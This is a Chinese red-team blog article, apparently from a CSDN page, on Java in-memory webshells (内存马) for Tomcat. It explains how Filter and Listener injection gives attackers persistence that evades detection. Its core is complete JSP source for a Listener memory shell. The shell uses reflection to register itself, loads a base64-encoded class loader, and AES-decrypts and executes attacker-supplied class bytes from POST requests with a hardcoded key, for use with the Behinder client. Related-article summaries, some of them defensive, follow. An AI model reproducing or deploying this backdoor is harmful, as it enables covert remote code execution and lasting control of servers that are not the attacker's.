红队视角下Java内存马的应用

一文深度学习java内存马 java内存马注入一般分为两种动态注册添加新的listener/filter/servlet/controller等等agent注入修改已有class,插入恶意代码在理解内存马注入前,有几个概念需要掌握的。类加载双亲委派问题以及context类反射。 阅读详情

0x00声明
出品|长白山攻防实验室(ID:hellp)
以下内容,来自长白山攻防实验室作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。

0x01前言

经过最近几年的攻防演练,内存马技术在打点中发挥越来越重要的地位,内存马相比传统的webshell,更容易躲避传统安全监测设备的检测,通常被用来做持久化,规避检测,持续驻留目标服务器中,本次主要结合攻防演练的经验来系统阐述内存马技术。

0x02 内存马原理

在介绍原理之前,我想大家都有这样一个困惑,在拿到webshell后,总担心自己的webshell被管理员和其他攻击队发现,从而不能持久化控制目标主机。所以学好内存马原理至关重要,Java内存马类型如下:

图片

其原理为客户端发起一个web请求,中间件的各个独立的组件Listener、Filter、Servlet会在请求过程中做监听、判断、过滤操作,内存马利用请求过程在内存中修改已有的组件或者动态注册一个新的组件,插入恶意的shellcode达到持久化的控制服务器。

内存马优先级listener->filter->servlet,本文先讲fileter型内存马,想到fileter内存马首先要理解过滤链(FilterChain),在一个 Web 应用程序中可以注册多个 Filter 程序,也可以在web.xml注册多个组件,每个 Filter 程序都可以针对某一个 URL 进行拦截。如果多个 Filter 程序都对同一个 URL 进行拦截,那么这些 Filter 就会组成一个Filter 链(也称过滤器链)在开发中同时处理多个对象,要用doFilter进行处理。

0x03 内存马实现

我们已经了解了Filter内存马的原理,filter会创建FilterChain,这里注入Filter型内存马的3个对象的定义如下:

>filterDefs存放了filter的定义,比如名称跟对应的类
>filterConfigs除了存放了filterDef还保存了当时的Context
>FilterMaps则对应了web.xml中配置的

每个Filter执行完之后需要执行FilterChain#do-Filter放行,然后会继续进入到下一个filter,依次执行每个filter里面的doFilter()方法,而我们实现filter内存马也就是往FilterChain里加一个filter。

首先在filter里创建doFilter()方法,实现冰蝎马的请求,其中request方法是接受serlvet的请求,session获取session,利用pageContext.put方法进行保存信息。

图片

FilterMap对filter进行封装,定义其名称和URLPattern

图片

将filter添加到FilterConfig中进行调用。

图片

最后放到指定主机上运行即可

0x04 内存马实战

拿到webshell后,将写的内存马传到web目录下,进行连接如下:

图片

用冰蝎3.0进行连接,连接成功。注意Tomcat版本不同,内存马封包后的程序不同,需要进行不同版本的修改。

图片

0x05 本文源代码

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="javax.crypto.Cipher" %>
<%@ page import="javax.crypto.spec.SecretKeySpec" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.connector.RequestFacade" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%
class GreetListener implements ServletRequestListener{
private final String pa = "3ad2fddfe8bad8e6";
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
try{
RequestFacade requestfacade= (RequestFacade) servletRequestEvent.getServletRequest();
Field field = requestfacade.getClass().getDeclaredField("request");
field.setAccessible(true);
Request request = (Request) field.get(requestfacade);
Response response = request.getResponse();
HttpSession session = request.getSession();
MappageContext = new HashMap();
pageContext.put("session", session);
pageContext.put("request", request);
pageContext.put("response", response);
ClassLoader cl = (ClassLoader)Thread.currentThread().getContextClassLoader();
if (request.getMethod().equals("POST")){
if(cl.getClass().getSuperclass().getName().equals("java.lang.ClassLoader")){
Class Lclass = cl.getClass().getSuperclass();
RushThere(Lclass,cl,session,request,pageContext);
}else if(cl.getClass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")){
Class Lclass = cl.getClass().getSuperclass().getSuperclass();
RushThere(Lclass,cl,session,request,pageContext);
}else if(cl.getClass().getSuperclass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")){
Class Lclass = cl.getClass().getSuperclass().getSuperclass().getSuperclass();
RushThere(Lclass,cl,session,request,pageContext);
}else if(cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")){
Class Lclass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass();
RushThere(Lclass,cl,session,request,pageContext);
}else if(cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")){
Class Lclass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass();
RushThere(Lclass,cl,session,request,pageContext);
}else {
Class Lclass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass();
RushThere(Lclass,cl,session,request,pageContext);
}
}
}catch(Exception ig){
ig.printStackTrace();
}
}
public void RushThere(Class Lclass, ClassLoader cl, HttpSession session, HttpServletRequest request,MappageContext){
byte[] bytecode = java.util.Base64.getDecoder().decode("yv66vgAAADQAGgoABAAUCgAEABUHABYHABcBAAY8aW5pdD4BABooTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQADTNjU4RpCNyDXxJ8iAnpW6LUCBs73Ta2KEdFkZXI7AQABZwEAFShbQilMamF2YS9sYW5nL0NsYXNzOwEAAWIBAAJbQgEAClNvdXJjZUZpbGUBAAZVLmphdmEMAAUABgwAGAAZAQABVQEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAC2RlZmluZUNsYXNzAQAXKFtCSUkpTGphdmEvbGFuZy9DbGFzczsAIQADAAQAAAAAAAIAAAAFAAYAAQAHAAAAOgACAAIAAAAGKiu3AAGxAAAAAgAIAAAABgABAAAAAgAJAAAAFgACAAAABgAKAAsAAAAAAAYADAANAAEAAQAOAA8AAQAHAAAAPQAEAAIAAAAJKisDK763AAKwAAAAAgAIAAAABgABAAAAAwAJAAAAFgACAAAACQAKAAsAAAAAAAkAEAARAAEAAQASAAAAAgAT");
try {
java.lang.reflect.Method define = Lclass.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
define.setAccessible(true);
Class uclass = null;
try {
uclass = cl.loadClass("U");
} catch (ClassNotFoundException e) {
uclass = (Class) define.invoke(cl, bytecode, 0, bytecode.length);
}
Constructor constructor = uclass.getDeclaredConstructor(ClassLoader.class);
constructor.setAccessible(true);
Object u = constructor.newInstance(this.getClass().getClassLoader());
Method Um = uclass.getDeclaredMethod("g", byte[].class);
Um.setAccessible(true);
String k = pa;
session.setAttribute("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
byte[] eClassBytes = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
Class eclass = (Class) Um.invoke(u, eClassBytes);
Object a = eclass.newInstance();
Method b = eclass.getDeclaredMethod("equals", Object.class);
b.setAccessible(true);
b.invoke(a, pageContext);
return;
}catch (Exception ig){
ig.printStackTrace();
}
}
}
%>
<%
ServletContext servletContext =  request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
GreetListener servletRequestListener = new GreetListener();
standardContext.addApplicationEventListener(servletRequestListener);
out.println("长白山攻防实验室");
%>

0x06参考

  • https://www.cnblogs.com/zpchcbd/p/14814385.html

  • https://mp.weixin.qq.com/s/OWH42PojsFGO4fHSsUJhnw

JAVA安全—手搓内存马 首先什么是内存马呢,顾名思义就是把木马打进内存中。传统的webshell一旦把文件删除就断开连接了,而Java内存马则不同,它将恶意代码直接加载到内存中运行。因为代码是直接在内存中执行的,它不需要保存到硬盘上,这使得它很难被传统的杀毒软件发现和检测。至此结束。 阅读详情

相关推荐

Java内存马攻防实战:利用BlueTeamTools反编译技术深度分析与清除

Java反编译技术是安全分析中的基础能力,它通过将字节码还原为可读的源代码,帮助分析师理解程序逻辑与潜在风险。其原理基于JVM字节码规范,将编译后的.class文件或内存中的字节数组逆向转换为Java语法。这项技术的核心价值在于能够穿透代码混淆与加密,直接揭示恶意行为逻辑,在应急响应与威胁狩猎中至关重要。在应用场景上,反编译常用于分析无文件落地的内存马攻击,这类攻击通过注入Filter、Servlet等组件实现持久化控制,传统文件检测手段难以应对。通过BlueTeamTools集成的反编译模块,安全团队可以

cri5768的博客 839

学习Java agent 内存马(看不懂别关闭,直接喷!!!)

java agent 是 Java 程序,可以通过在 Java 虚拟机(JVM)启动时提供参数来加载和运行。它可以通过 java.lang.instrument 包提供的 Java 标准接口进行代码插桩,从而在 Java 应用程序的类加载和运行期间改变 Java 字节码。而java agent内存马就是利用这个特性产生。

一剑开天门!的博客 3919

Confluence内存马实战:无文件落地攻击的完整指南(含避坑技巧)

本文深入探讨了在Confluence环境中实施无文件落地攻击的核心技术——内存马。针对Linux环境下Web目录写权限受限的痛点,详细解析了内存马的原理、优势及完整注入流程,并提供了从手动实现到利用哥斯拉等成熟工具链的实战方法。文章还涵盖了高级隐蔽技巧、防御视角的检测手段,旨在为安全研究人员和防御工程师提供全面的攻防指南。

efc123456的博客 655

浅析JavaWeb内存马基础原理与查杀思路

传统的 Webshell 后门很容易被当前 WAF、HIDS、EDR 等安全设备检测出来,于是无文件落地的内存马技术得以诞生并快速发展。本文简要分析了Java内存马的原理、分类,并实践了主流Webshell客户端管理工具内存马的使用与当前应对内存马的一些查杀思路、手段。

道阻且长,行则将至 8832

Java Agent与内存马技术解析:Agenst工具原理与实战应用

Java Agent是Java平台提供的一种强大机制,允许开发者在JVM运行时动态修改字节码,实现应用行为的监控与增强。其核心原理基于JVMTI(JVM Tool Interface)和Instrumentation API,通过ClassFileTransformer接口在类加载时进行字节码转换。这项技术在性能监控、故障诊断、热部署等领域具有重要价值,尤其在安全攻防场景中,它为实现无文件、高隐蔽性的内存驻留技术提供了基础。内存马(Memory Shell)正是基于此原理,将恶意逻辑以Filter、Serv

weixin_33841503的博客 409

Java内存马自动化生成工具:原理、应用与防御实践

在应用安全领域,内存马(MemShell)是一种驻留在运行时内存中的恶意代码,相比传统WebShell具有更强的隐蔽性和持久性。其核心原理是通过字节码操作技术,将恶意逻辑动态植入目标应用的类加载机制中,实现无文件落地的持久化攻击。从技术价值看,内存马自动化生成工具通过封装复杂的字节码编织和利用链构造过程,大幅降低了漏洞武器化的门槛,使安全从业者能更专注于漏洞利用链的构造和防御策略研究。这类工具主要应用于渗透测试、红队评估和防御研究等场景,通过自动化生成针对特定中间件和框架的定制化载荷,帮助验证漏洞危害并提升

weixin_33717117的博客 752

《Java应用纵深防御实战:从红蓝对抗到RASP防护体系构建》

在数字战场中,攻击者遵循"侦查→武器化→渗透→驻留→横向移动→目标达成"的杀伤链模型(Kill Chain),而防御者则需构建覆盖"预防→检测→响应→恢复"的纵深防线。: 外网Web漏洞 → 获取Jenkins凭据 → 横向渗透至K8s集群 → 窃取数据库密钥。:Java反序列化机制未校验输入对象的合法性,攻击者可通过构造恶意链触发RCE。2.1 反序列化漏洞:Fastjson/Gyro的POC构造与利用。2.3 内存马驻留:基于Java Agent的无文件攻击技术。

ELIHU_han的博客 1052

Java Agent内存马攻防解析:从JVM机制到实战检测

Java Agent是JVM提供的合法监控与诊断机制,它通过Instrumentation接口实现类字节码的动态修改,这一特性在应用性能监控、热部署等场景中具有重要价值。然而,攻击者利用该机制,结合内存马技术,可在目标应用的运行时内存中植入无文件后门,实现高度隐蔽的持久化攻击。内存马通过动态注册Filter、Servlet等组件,并采用加密通信绕过传统安全检测,对Web应用安全构成严重威胁。本文以Agenst和vagent等工具为例,深入剖析Java Agent与内存马结合的技术原理,涵盖JVM类加载机制、

weixin_30394981的博客 412

内存马技术:Filter,Servlet型内存马的注入与查杀

这名“黑化”的质检员看起来是合法员工(内存中的合法对象),不新增机器(不写文件),但他会偷偷拦截特定标识的原材料(特定参数的HTTP请求),执行非法加工(执行命令)并将结果混入正品中返回。它通过劫持或伪装成应用正常的运行时组件(如Filter、Servlet、Controller、Listener等),在内存中动态注册,从而能够拦截、处理特定的网络请求,实现命令执行、文件管理、隧道代理等恶意功能。· 文件型Webshell:相当于在工厂角落偷偷安装了一台独立的、非法的加工机器,容易被巡检(文件扫描)发现。

Alfadi联盟 萧瑶的博客 983

内存马技术演进与防御:从无文件攻击到运行时安全

无文件攻击是一种高级威胁技术,其核心原理在于恶意代码不落地磁盘,而是直接注入到应用程序的运行时内存中执行,从而绕过传统基于文件特征的检测机制。这种技术的价值在于实现了极高的隐蔽性和持久性,对现有安全防御体系构成了严峻挑战。在Web安全领域,内存马作为无文件攻击的典型代表,通过劫持Servlet、Filter或Spring Bean等组件,在服务器内存中建立持久化后门。其应用场景广泛覆盖渗透测试、红蓝对抗和应急响应,攻击者常利用反序列化、文件上传等漏洞进行注入。随着攻防博弈的升级,内存马技术已从早期的动态注册

weixin_28568819的博客 355

PotatoTool V2.3深度解析:红队功能升级与实战应用指南

本文深度解析了PotatoTool V2.3版本在红队攻防领域的核心升级与实战应用。该版本从多功能工具箱进化为专业的红队利器,重点强化了一键解密、自定义内存马生成、命令生成及免杀对抗等核心功能。文章通过模拟红队全流程演练,详细展示了如何利用这些功能高效完成信息收集、漏洞利用、内网横向移动及痕迹清理,为安全渗透测试人员提供了强大的实战指南。

weixin_28622215的博客 170

PotatoTool:从红队渗透到蓝队研判,一款集成免杀、内存马与AI分析的网络安全多面手

PotatoTool是一款面向实战的Java跨平台网络安全综合平台,集成了红队渗透与蓝队研判的核心功能。红队方面,它提供从智能信息收集、免杀Payload生成、自定义内存马制作到内网提权查询的一站式攻击链支持;蓝队方面,则具备一键解密加密Webshell流量、AI辅助分析恶意代码及反编译溯源等强大防御分析能力,有效打通攻防流程,提升安全人员工作效率。

kubernetes8ctl的博客 476

MemShellParty实战指南:Java内存马原理、注入与安全测试

内存马(Memory Shell)是一种驻留在服务器内存中的恶意代码技术,它通过修改Web应用运行时内存中的数据结构(如Servlet Filter、Controller等)来注册恶意端点,从而绕过传统文件检测。其核心原理是利用Java的类加载机制和反射API,在应用运行时动态植入恶意逻辑,实现无文件持久化。这项技术在红队渗透测试和后渗透阶段具有重要价值,常用于权限维持和隐蔽控制。在实际应用场景中,内存马常通过远程代码执行(RCE)漏洞或Java Agent动态附加技术注入,针对Tomcat、Spring等

lizaochengwen的专栏 425

MemShellParty:自动化内存马生成平台的设计原理与实战应用

内存马是一种无文件、驻留内存的Webshell技术,它通过直接操作Java虚拟机的运行时内存,绕过传统基于文件检测的安全机制。其核心原理是利用Java中间件的类加载机制和动态注册能力,将恶意字节码注入到Filter、Servlet或Controller等关键组件中,实现持久化控制。这项技术的价值在于能够有效规避WAF、EDR等静态防护,在攻防演练和应急响应中具有重要作用。MemShellParty作为一个工程化平台,通过标准化和自动化流程,将内存马的生成、适配和测试进行封装,支持Tomcat、Spring

weixin_34292402的博客 367

ShiroAttack2实战指南:从Shiro-550漏洞原理到内存马攻防

Java反序列化漏洞是Web安全领域的经典威胁,其原理在于攻击者通过控制反序列化数据流,触发恶意利用链(Gadget Chain),从而在目标服务器上执行任意代码。这种技术危害巨大,常被用于实现远程命令执行,是红队评估和渗透测试中的关键攻击向量。Apache Shiro框架的RememberMe功能因默认密钥硬编码问题,成为反序列化漏洞的典型应用场景,由此衍生的Shiro-550漏洞至今仍是高频发现项。ShiroAttack2工具集成了密钥爆破、多种利用链和内存马注入能力,将攻击从单次命令执行提升到持久化控

weixin_33805992的博客 360

内存马基础知识 Java

Java中有三种类加载器:引导类加载器(Bootstrap Class Loader)、扩展类加载器(Extension Class Loader)和应用程序类加载器(Application Class Loader)。内存马(Memory Shellcode)是一种恶意代码注入技术,它利用软件漏洞或者其他方式将恶意代码加载到受感染的进程内存中,并在执行过程中劫持程序的控制流。在Java中,我们可以自定义类加载器,通过继承ClassLoader类并实现自己的加载逻辑来加载类。内存马基础知识 Java。

CodeShiftZ的博客 589

小爱音箱免费点播指南:XiaoMusic 把音箱变成你的私人音乐点唱机

小爱音箱里的歌动不动就提示"暂无版权",想听的歌要么开会员、要么干脆放弃。XiaoMusic 把这个限制拆掉了:它把小爱音箱改造成一台私人音乐点唱机,本地音乐库里的歌直接点播,网络上的歌用 yt-dlp 自动下载完再播,全程说句话就行,不用花一分钱。 ## 🎯 一句话讲清:它解决什么问题 XiaoMusic 本质上是一个跑在你内网(NAS、Linux 主机都行)的小服务,通过小爱的对话接口接

gitblog_01008的博客 207

中间件内存马注入&冰蝎连接(附更改部分代码)1

2. 冰蝎源码简要分析 (JSP) 3. 修改 1. 分析环境准备 2. 冰蝎源码简要分析 (JSP)

上一篇: 一次极其曲折的多层靶场渗透--渗透攻击红队靶场
下一篇: PWN保护机制以及编译方法
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值